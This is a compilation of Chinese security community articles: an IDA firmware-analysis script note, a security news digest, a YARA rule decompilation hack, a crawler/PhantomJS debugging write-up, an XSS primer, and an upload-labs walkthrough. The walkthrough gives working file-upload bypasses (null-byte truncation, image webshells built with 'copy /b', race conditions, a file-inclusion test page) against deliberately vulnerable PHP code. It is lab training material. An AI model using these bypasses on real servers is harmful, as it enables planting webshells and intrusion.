两种情况分别对应`custom_msg_handler`和`ke_msg_handler`两种定义消息回调函数的结构体
/// Custom message handlers
struct custom_msg_handler
{
ke_task_id_t task_id;
ke_msg_id_t id;
ke_msg_func_t func;
};
/// Element of a message handler table.
struct ke_msg_handler
{
ke_msg_id_t id;
ke_msg_func_t func;
};
脚本也是这样的逻辑，分别尝试这两个位置，如果是函数的话就认为是对应的回调函数，这样处理的坏处是没有考虑消息的其他参数，可能导致有的消息处理函数对于某些场景实际是调用不了的，但是还是会被我们的脚本建立交叉引用，所以只能说是
**可能的消息处理函数** ，不过这样也可以简化很多分析流程了。
最后使用IDA函数设置交叉引用即可
def add_ref(frm, to):
idaapi.add_dref(frm, to, idaapi.dr_R)
idaapi.add_dref(to, frm, idaapi.dr_R)
## 脚本使用方式
首先使用argument_tracker.py获取固件中每个函数的msg id的使用情况，然后将结果导出到文件中
https://github.com/hac425xxx/BLE-DA145XX/blob/main/argument_tracker.py#L610
然后使用search_msg_handler.py导入之前获取到的结果，并搜索消息ID对应的回调函数，最后为两者建立交叉引用。
https://github.com/hac425xxx/BLE-DA145XX/blob/main/search_msg_handler.py#L70
## 总结
本文介绍开始分析一个芯片的一些流程，介绍一些辅助人工的脚本的实现原理。 | 社区文章 |
# 【知识】11月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：勒索软件已形成年规模20亿美元的黑产链条、Firefox开始就数据泄露网站向用户弹出提醒、Protonmail推出首个加密联系人管理工具、美国指责伊朗资助黑客窃取电视剧权游剧本、CVE-2017-4934
VMWare Workstation NAT IP重组过程中的提权漏洞、 二进制/Payload AV签名定位工具、微软关于ASLR漏洞的技术说明。**
**资讯类：**
勒索软件已形成年规模20亿美元的黑产链条
<https://www.cyberscoop.com/ransomware-2-billion-bitdefender-gpu-encryption/>
Firefox开始就数据泄露网站向用户弹出提醒
<https://www.bleepingcomputer.com/news/security/firefox-will-warn-users-when-visiting-sites-that-suffered-a-data-breach/>
Protonmail推出首个加密联系人管理工具
<http://securityaffairs.co/wordpress/65884/digital-id/protonmail-contacts.html>
美国指责伊朗资助黑客窃取电视剧权游剧本
<http://securityaffairs.co/wordpress/65880/intelligence/hbo-hack.html>
**技术类：**
CVE-2017-4934 VMWare Workstation NAT IP重组过程中的提权漏洞
<http://www.zerodayinitiative.com/advisories/ZDI-17-921/>
h1-212 CTF Writeup
<http://www.skeletonscribe.net/2017/11/h1-212-ctf-writeup.html>
二进制/Payload AV签名定位工具
<https://github.com/hegusung/AVSignSeek>
一则网站交叉污染的小故事
<https://blog.sucuri.net/2012/03/a-little-tale-about-website-cross-contamination.html>
微软关于ASLR漏洞的技术说明
<https://blogs.technet.microsoft.com/srd/2017/11/21/clarifying-the-behavior-of-mandatory-aslr/>
活动目录权限的4种攻击方式及其防护手段
<https://blog.stealthbits.com/attacks-that-exploit-active-directory-permissions-and-how-to-protect-against-them/>
Google Play上的国际象棋程序被用来传播银行木马
[https://blog.avast.com/es/troyano-bancario-en-google-play-afecta-a-usuarios-espanoles-mediante-una-app-de-ajedrez](https://github.com/bkimminich/juice-shop)
选择白名单而不是黑名单的理由
<https://mike-n1.github.io/ExtensionsOverview>
CVE-2017-5689 因特尔管理引擎漏洞分析
<http://blog.trendmicro.com/trendlabs-security-intelligence/mitigating-cve-2017-5689-intel-management-engine-vulnerability/>
qkg：自复制的勒索软件
<http://blog.trendmicro.com/trendlabs-security-intelligence/qkg-filecoder-self-replicating-document-encrypting-ransomware/> | 社区文章 |
# 基于源码改造实现反编译YARA规则
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近在研究yara文件，想着拿到yara编译文件以后，是否可以直接反编译呢？猜测已经有现成的工具可以使用了，但是网上没有找到相关
的工具，github上也没有找到反编译相关的工具，只能自己动手亲自实践，也算是一个学习的过程了。网上也有一篇相关的文章可以学习，我也学习了其中部分内容，文章链接：[https://bnbdr.github.io/posts/swisscheese/。](https://bnbdr.github.io/posts/swisscheese/%E3%80%82)
首先我们要分清楚yara源代码和yara编译之后的文件，很简单，如果你打开一个文件，看到的是如下所示类似格式的代码，那么它就是yara源代码，在使用yara源代码扫描文件时需要先转换为字节码文件，再执行。
以下这张图是yara文件编译之后的二进制格式，编译之后在你使用时它会加载更快，扫描更快，并且防止源码泄露，并且不再需要编译成字节码的形式了，因为你编译之后就已经变成了字节码文件了，相比源代码扫描文件来说就少了一步了，所以更快一些，还有出于商业角度的考虑，各大杀软厂商也会通过使用编译后的yara规则提高扫描速度。
我的思路呢，其实也很简单，因为yara本身就是开源的，而且网上没有相关工具，只能自己硬啃yara编译源码，什么时候都是官方的最权威，所以以yara官方的源码为出发点，开始分析源码中是如何一步一步进行扫描文件和内存的？流程是怎样的？逻辑是怎样的？
## 执行流程
yara.c—> main—> yr_rules_scan_file—> yr_rules_scan_mem—>
yr_rules_scan_mem_blocks —> yr_rules_foreach—> callback —> handle_message
在callback处下断点单步进入后会到 handle_message(重点函数)处，函数定义如下所示：
static int callback(
int message,
void* message_data,
void* user_data)
{
YR_MODULE_IMPORT* mi;
YR_OBJECT* object;
MODULE_DATA* module_data;
switch(message)
{
case CALLBACK_MSG_RULE_MATCHING:
case CALLBACK_MSG_RULE_NOT_MATCHING:
return handle_message(message, (YR_RULE*) message_data, user_data);
case CALLBACK_MSG_IMPORT_MODULE:
mi = (YR_MODULE_IMPORT*) message_data;
module_data = modules_data_list;
while (module_data != NULL)
{
if (strcmp(module_data->module_name, mi->module_name) == 0)
{
mi->module_data = (void*) module_data->mapped_file.data;
mi->module_data_size = module_data->mapped_file.size;
break;
}
module_data = module_data->next;
}
return CALLBACK_CONTINUE;
case CALLBACK_MSG_MODULE_IMPORTED:
if (show_module_data)
{
object = (YR_OBJECT*) message_data;
mutex_lock(&output_mutex);
yr_object_print_data(object, 0, 1);
printf("\n");
mutex_unlock(&output_mutex);
}
return CALLBACK_CONTINUE;
}
return CALLBACK_ERROR;
}
可以看到不管是否匹配规则都会到这个消息处理函数处，这个函数中会根据传入的参数决定输出显示哪些信息，我主要就是修改了这个函数中一些处理逻辑。
static int handle_message(
int message,
YR_RULE* rule,
void* data)
{
const char* tag;
int show = TRUE;
if (tags[0] != NULL)
{
// The user specified one or more -t <tag> arguments, let's show this rule
// only if it's tagged with some of the specified tags.
show = FALSE;
for (int i = 0; !show && tags[i] != NULL; i++)
{
yr_rule_tags_foreach(rule, tag)
{
if (strcmp(tag, tags[i]) == 0)
{
show = TRUE;
break;
}
}
}
}
if (identifiers[0] != NULL)
{
// The user specified one or more -i <identifier> arguments, let's show
// this rule only if it's identifier is among of the provided ones.
show = FALSE;
for (int i = 0; !show && identifiers[i] != NULL; i++)
{
if (strcmp(identifiers[i], rule->identifier) == 0)
{
show = TRUE;
break;
}
}
}
int is_matching = (message == CALLBACK_MSG_RULE_MATCHING);
show = show && ((!negate && is_matching) || (negate && !is_matching));
if (show && !print_count_only)
{
mutex_lock(&output_mutex);
if (show_namespace)
printf("%s:", rule->ns->name);
printf("%s ", rule->identifier);
if (show_tags)
{
printf("[");
yr_rule_tags_foreach(rule, tag)
{
// print a comma except for the first tag
if (tag != rule->tags)
printf(",");
printf("%s", tag);
}
printf("] ");
}
// Show meta-data.
if (show_meta)
{
YR_META* meta;
printf("\n{\n meta:\n");
yr_rule_metas_foreach(rule, meta)
{
if (meta != rule->metas)
printf("\n");
if (meta->type == META_TYPE_INTEGER)
{
printf(" %s=%" PRId64, meta->identifier, meta->integer);
}
else if (meta->type == META_TYPE_BOOLEAN)
{
printf(" %s=%s", meta->identifier, meta->integer ? "true" : "false");
}
else
{
printf(" %s=\"", meta->identifier);
print_escaped((uint8_t*) (meta->string), strlen(meta->string));
putchar('"');
}
}
printf("\n");
}
// Show matched strings.
if (show_strings || show_string_length)
{
YR_STRING* string;
printf("\n strings:\n");
yr_rule_strings_foreach(rule, string)
{
YR_MATCH* match;
int result = 1;
//这里把每次取到的字符串传入做匹配,匹配成功并打印
yr_string_matches_foreach(string, match)
{
result = 0;
if (show_string_length)
printf(" %d:%s" , match->data_length , string->identifier);
else
printf(" %s" , string->identifier);
if (show_strings)
{
printf("= ");
if (STRING_IS_HEX(string))
print_hex_string(match->data, match->data_length);
else
print_string(match->data, match->data_length);
}
else
{
printf("\n");
}
}
if (result)
{
//这里打印所有未匹配到的strings
print_all_no_match_string(string);
}
}
}
mutex_unlock(&output_mutex);
printf("\n}\n");
}
if (is_matching)
{
((CALLBACK_ARGS*) data)->current_count++;
total_count++;
}
if (limit != 0 && total_count >= limit)
return CALLBACK_ABORT;
return CALLBACK_CONTINUE;
}
我这里简单说明下吧，其实有耐心多调试几次，就可以发现你想要的信息都保存在YR_RULE类似的结构体中，只不过官方把这些信息全部都封装起来了，它并没有提供输出反编译后的信息，这个就需要自己手动调试，修改一些处理逻辑，将这些所谓“隐藏“的信息全部打印出来即可。
以上我说的只是匹配中规则以后，那么就可以获取到你想要的信息，都可以打印，那还有一些没有匹配中规则的，我们也需要将它反编译出来，这里我们稍微修改一下代码，让它在循环遍历匹配时，不成功也打印，这里就时套用它的一些代码风格，就可以正确打印出一些未匹配成功的规则。print_all_no_match_string函数代码如下：
static void print_all_no_match_string(YR_STRING* string)
{
if (STRING_IS_HEX(string))
{
printf(" %s= {", string->identifier);
for (int i = 0; i < string->length; i++)
printf("%s%02X", (i == 0 ? "" : " "), string->string[i]);
printf("}");
}
else
printf(" %s=\"%s\"\n", string->identifier, string->string);
}
源代码的修改基本完成了，编译下就可以使用了，那么我这里还需要说一下，我的逻辑是，我提供一个空规则txt文件，然后使用已编译的yara规则去扫描，并且带-nms参数扫描，此时就会打印出所有反编译的规则了，先看下效果：
这里重点解释下为什么是-nms参数，先看下帮助信息，对于nms参数的介绍：
-n 仅打印不满足条件的规则
-m 打印元数据
-s 打印匹配的字符串
所以 -nms参数的意思就是打印所有不满足条件规则的元数据和字符串
使用方法：yara32.exe 已编译的规则.yarc 空规则.txt -nms | 社区文章 |
接着上篇的总结 （=￣ω￣=）
**Less-11**
这关采用的防御手法是白名单过滤，只允许上传jpg、png和gif类型，并且将上传的文件给重命名为了白名单中的后缀
查看源码：
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
处理上传文件的方式
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
看起来这样防御并没有什么问题，但是这一关上传目录是可控的，所以可以先上传一个后缀名为`.jpg`，然后修改上传目录为`.php`后缀，之后在`.php`后使用截断后面的拼接内容，注意这里需要关掉`magic_quotes_gpc`这个php扩展，否则00会被转义
`$_GET['save_path']`这里使用00截断`."/".rand(10, 99).date("YmdHis").".".$file_ext;`
注意这里的00字符因为在url的GET参数中，所以需用进行url编码
* **截断的条件** ：
1）php版本必须小于5.3.4
2）打开php的配置文件php-ini，将magic_quotes_gpc设置为Off
* **关闭magic_quotes_gpc函数** :
在php.ini文件内找到
`magic_quotes_gpc = On`
将其改为
`magic_quotes_gpc = Off`
配置好后，上传webshell.jpg，抓包，添加`webshell.php%00`
上传成功
**Less-12**
和Less-11不同的是这次的`save_path`是通过 **post** 传进来的，我们还利用00截断，但这题需要在 **十六进制**
中进行修改，因为post不会像get对`%00`进行自动解码。
步骤：上传webshell.jpg 然后 **send to repeater**
添加文件 `wenshell.php(空格)`
空格的十六进制为`20`然后找到`20` 改为`00`
然后点击send 发包就好了
发包成功。
**Less-13**
PS：
> 这关需要将服务器版本改到PHP5.3及以上才行，不然运行文件包含漏洞会报错
查看源码：
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错！";
}
}
}
发现主要是取上传文件的头两个字节判断文件类型，因此直接上传图片马即可；
图片制作方法：`copy 1.jpg /b + shell.php /a webshell.jpg`（图片一句话木马为：`<?php phpinfo();
?>` ）
解释：参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件（php文件）
制作成功
然后直接上传
上传成功，得到文件名，如果是上传的是一句话木马就能连接菜刀了；我们上传的是图片码，可以利用文件包含漏洞进行测试：
先新建一个包含文件漏洞的页面upload.php，将该文件放在根目录下：
<?php
$file = $_GET[ 'page' ];
include($file);
?>
测试使用，包含成功
`http://127.0.0.1/upload-labs-master/upload/include.php?page=文件名`
另外有时候对文件大小也有限制，所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马，这里利用winhex创建shell.jpg伪图片马
**Less-14**
查看关键代码：
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);1234
这里用getimagesize获取文件类型，还是直接就可以利用图片马就可进行绕过，绕过方法同Less13 ，这里就不演示了
知识补充：
array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像，getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
**Less-15**
关键源码：
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
利用`php_exif`模块判断文件类型，还是直接利用图片马就可以绕过。（查看下你的`php_exif`模块是否打开，没有的话就勾上）
然后直接上传图片马，仍和 less-13一样
上传成功。
**Less-16**
查看源码：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型，合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}
}
通过源码可以看到对文件后缀名和 **MIME**
类型进行了检查，而且用到了php的`imagecreatefromjpeg`、`imagecreatefrompng`、`imagecreatefromgif`这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片，所以如果在这里上传的是一个普通的图片马，虽然图片马可以上传成功，但是上传的图片马在经过二次渲染后，图片尾部的php代码就会被删除掉，所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞，如果这几个二次渲染函数处理的不是一个图片，就会使这几个函数报错，因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片，所以在这里只需要上传一个后缀名为`jpg、png、gif`的一句话木马，这样的话上传的一句话木马会绕过后缀名和
**MIME**
类型的检查，通过`move_uploaded_file`上传至服务器，但是遇到二次渲染时，由于上传的不是一个真正的图片，所以二次渲染函数在处理时会因为图片的内部格式报错，从而突破了对图片的二次渲染，这时候页面虽然会显示图片格式不允许，但是上传的一句话木马已经上传到了服务器
上传后缀名为`jpg、png、gif`之一的图片马，
可以看到上传成功，但是我的并没有成功解析；
wenHex打开发现并查找不到我们的木马
无奈
翻翻大佬们的blog发现是在二次渲染的时候被替换了，至于解决办法请看这位大佬写的[点这](https://xz.aliyun.com/t/2657)我就不再描述(●'◡'●)
**Less-17**
本关考察的是条件竞争，查看代码：
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
unlink($upload_file);
}
}else{
$msg = '上传出错！';
}
}
这题我是蒙蔽的，好在看了大佬的操作才后知道了些；这里先将文件上传到服务器，然后通过rename修改名称，再通过unlink删除文件，因此可以通过条件竞争的方式在unlink之前，访问webshell。
* `unlink()` 函数是用来删除文件的
* 什么是条件竞争：
>
> 条件竞争漏洞是一种服务器端的漏洞，由于服务器端在处理不同用户的请求时是并发进行的，因此，如果并发处理不当或相关操作逻辑顺序设计的不合理时，将会导致此类问题的发生。
* 首先在burp中不断发送上传webshell的数据包：
* 然后不断在浏览器中访问，发现通过竞争可以访问到：
具体的操作方法我也没掌握，等学习到了就补上
**Less-18**
本关需要上传图片马，查看代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传，但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败，上传目录不可写。';
break;
case -3:
$msg = '上传失败，无法上传该类型文件。';
break;
case -4:
$msg = '上传失败，上传的文件过大。';
break;
case -5:
$msg = '上传失败，服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传，文件不能复制到目标目录。';
break;
default:
$msg = '未知错误！';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
本关对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，然后再 `$ret =
$this->renameFile();`，进行了一次更改文件名；同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功。
**Less-19**
查看源码：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错！';
}
}else{
$msg = '禁止保存为该类型文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
分析，`move_uploaded_file()`函数中的`img_path`是由post参数`save_name`控制的，
因此可以在`save_name`利用00截断绕过：
首先上传一个图片马，后缀名改为php+jpg
然后再16进制中把加号的2b 改为 00 fordward发包就行了。然而我的burp不知道为啥发不了，唉
然后我又发现，这题可以直接加空格绕过
测试成功。
好了，到这暂时就结束了至于Less20，需要审计代码，目前自己还做不了。 | 社区文章 |
# 浅谈动态爬虫与去重(续)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Fr1day@0keeTeam
## 0x00 前言
在 [浅谈动态爬虫与去重](http://bobao.360.cn/learning/detail/3391.html)
中，分享了动态爬虫中触发事件、监控节点变动、URL去重等的实现方法。在接近一年的线上运行与迭代更新过程中，处理了很多bug，也遇到一些有趣的漏抓案例。
本文将详细分析几个有代表性的案例，希望能对各位的coding大业有所帮助。
## 0x01 一个都不能少
上图为被抓取页面的源码。两个 `<a>` 标签点击后会分别跳转到 `/test4.php` 和
`/test5.php`（抓取时页面已锁定，实际不会跳转，但可以监控到跳转的目标URL）。
但爬虫并未抓取到 http://localhost/test4.php。检查下phantomjs模块的具体调用日志：
可以看到 id=test4 节点对应的事件确实被触发了，而且还把锚点的变化都记录下来了。但就是没抓到 /test4.php 跳转的请求。
原本以为是因为锚点的问题，锚点阻止了后续的事件执行（一个不负责任的脑洞）。但经过一番调试，发现是触发事件的时候出问题了。
window.location.href 重复执行的时候，浏览器只会执行后面的一个，比如这段代码，可以粘贴到 Console 执行下，页面会跳转到
/456。
解决方案如下图，由于 Javascript 的异步非阻塞的特性，还加了个闭包来实现 sleep。
如果不想这么做的话，也可以通过 Hook location对象来解决。
一句话总结：触发事件一定要有时间间隔！
## 0x02 猝不及防的关闭
<script type="text/javascript" language="javascript">
function BtnPsw_onclick() {
window.open("../Login/UpdatePass")
}
</script>
<form name="form1" method="post" action="" id="form1">
用户名：<input name="UserName" type="text" id="UserName" class="logintext"><br/>
密码: <input name="Password" type="password" id="Password" class="logintext"><br/>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="1222">
<input name="LoginButton" type="button" id="LoginButton" value="登 录" class="lbotton">
<input name="login" type="button" value="退 出" class="lbotton" onclick="window.close()">
<input name="UpdatePwd" type="button" value="修改密码" class="lbotton" onclick="BtnPsw_onclick()">
</form>
phantomjs解析的时候，超时严重导致漏抓。通过伟大的注释调试法，可以发现问题在这行代码里：
<input name="login" type="button" value="退 出" class="lbotton" onclick="window.close()">
动态分析时会主动去执行行内绑定的代码，即：window.close()。关闭了页面之后，PhantomJS后续绑定的事件都会失效，比如page.evaluate、page.onCallback、phantom.exit。没有执行exit函数，一直阻塞导致触发python的超时——狗带。
修复方案,在执行关闭页面的时候，PhantomJS的onClosing事件可以收到通知，示例代码如下:
还可以通过Hook来解决这个问题：
## 0x03 永远触发不完的事件
案例URL: <https://lvyou.baidu.com/main/event/rank>
动态分析超时导致没有结果返回。动态爬虫里触发行内绑定事件的代码如下：
逻辑是遍历所有的节点的所有属性，执行以on开头的属性值，即 onclick=alert(1) 这种。
但是抓取上面案例的时候，发现一直没有返回结果，使用伟大的print调试法打印了触发的具体内容后，发现页面一直在不停的触发同一个事件。
仔细看下页面源码：
登录应该是用JSONP来实现的，每次点击登录都会生成一个script标签，而且这个标签恰好还插入在了登录标签前面。
遍历数组的过程中，也在不断扩展这个数组。这就是问题的关键。
那应该怎么解决呢？用了个不太优雅的方法来实现JS深拷贝：
## 0x04 Hook是个哲学问题
<a onclick=show()>test</a>
<script type="text/javascript">
function show(){
window.showModalDialog("another_page.html");
}
</script>
如上为漏抓页面的部分代码。爬虫进程超时，没有返回任何数据。
window.showModalDialog 是早期浏览器使用比较频繁的函数，用来弹出一个新页面，并且是阻塞执行的（所以造成爬虫超时被强行杀进程）。后来被
window.open 函数替代。替换的原因有：
1\. showModalDialog 没有导航栏，无法进行后退、前进、收藏等操作
2\. showModalDialog debug非常复杂（只能用alert调试法 2333）
3\. 名字又长又难记（迷之猜测）
下图为正常打开的页面与 showModalDialog 打开的页面比较：
目前Chrome最新版已经不支持这个函数了，但Firefox、Safari、IE仍然支持。毫无意外的 PhantomJS 也支持。解决方案很简单，直接
Hook 函数就可以了：
这样的话，加上最开始就被 Hook 的 alert/prompt/confirm，现在已经 Hook
了四个可能会引起阻塞的函数了，是不是还有其他隐藏的存在呢？
写个脚本来检查下：
var page = require('webpage').create();
page.onConsoleMessage = function(msg) {
console.log('> ' + msg );
return true;
};
page.open("http://127.0.0.1:8082", "GET", "", function (status) {
console.log(status);
page.evaluateAsync(function(){
for(var i in window){
try {
if (typeof eval("window." + i) != "function") {
continue
}
}catch (e){
}
// if(i in {"showModalDialog": "1"}){
// continue
// }
try{
console.log(i)
eval("(function(){" + i + "();})()");
}
catch (e){
// console.log(e)
}
}
}, 10)
});
用 PhantomJS 加载任意页面，然后遍历 window 对象。首先出现阻塞卡顿的函数是 showModalDialog，再次运行脚本，跳过
showModalDialog 函数，然后….
顺畅的运行完成，说好的 alert/prompt/confirm 函数导致的阻塞呢？
复制脚本到浏览器中运行，倒是成功复现了 alert/prompt/confirm/print 导致的阻塞：
分析原因，应该是PhantomJS在封装onAlert、onPrompt、onConfirm接口的时候就对这几个可能产生阻塞的函数做了处理。
同样的原理，可以套用在其他的动态解析器上。举个栗子，在Chrome Headless里需要 Hook 哪些接口，你现在知道了吗？
## 0x05 总结
虽然在 `Chrome Headless` 出来之后，`PhantomJS`
变得索然无味。但是同样都基于Webkit内核，所遇到的问题和解决方案也大多相通，不必拘泥于形式。
如果有动态分析和爬虫方面的问题/想法，欢迎微博私信我 [@吃瓜群众-Fr1day](https://weibo.com/3312659624)
注：水印图片来自于“安全小黄鸭”，是我个人公众号，不涉及版权问题。 | 社区文章 |
[toc]
# XSS 简介
XSS，全称Cross Site
Scripting，即跨站脚本攻击，是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据攻击代码的工作方式，XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
## 反射型
反射型的XSS是非持久化的，攻击者事先制作好攻击链接，需要欺骗用户自己去点击链接才能触发XSS代码，但是服务器中没有这样的页面和内容，一般容易出现在搜索页面。
## 存储型
存储型的XSS是持久化的，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险，容易造成蠕虫，大量盗窃cookie。
## DOM型
DOM型的XSS是基于文档对象模型Document Objeet
Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI
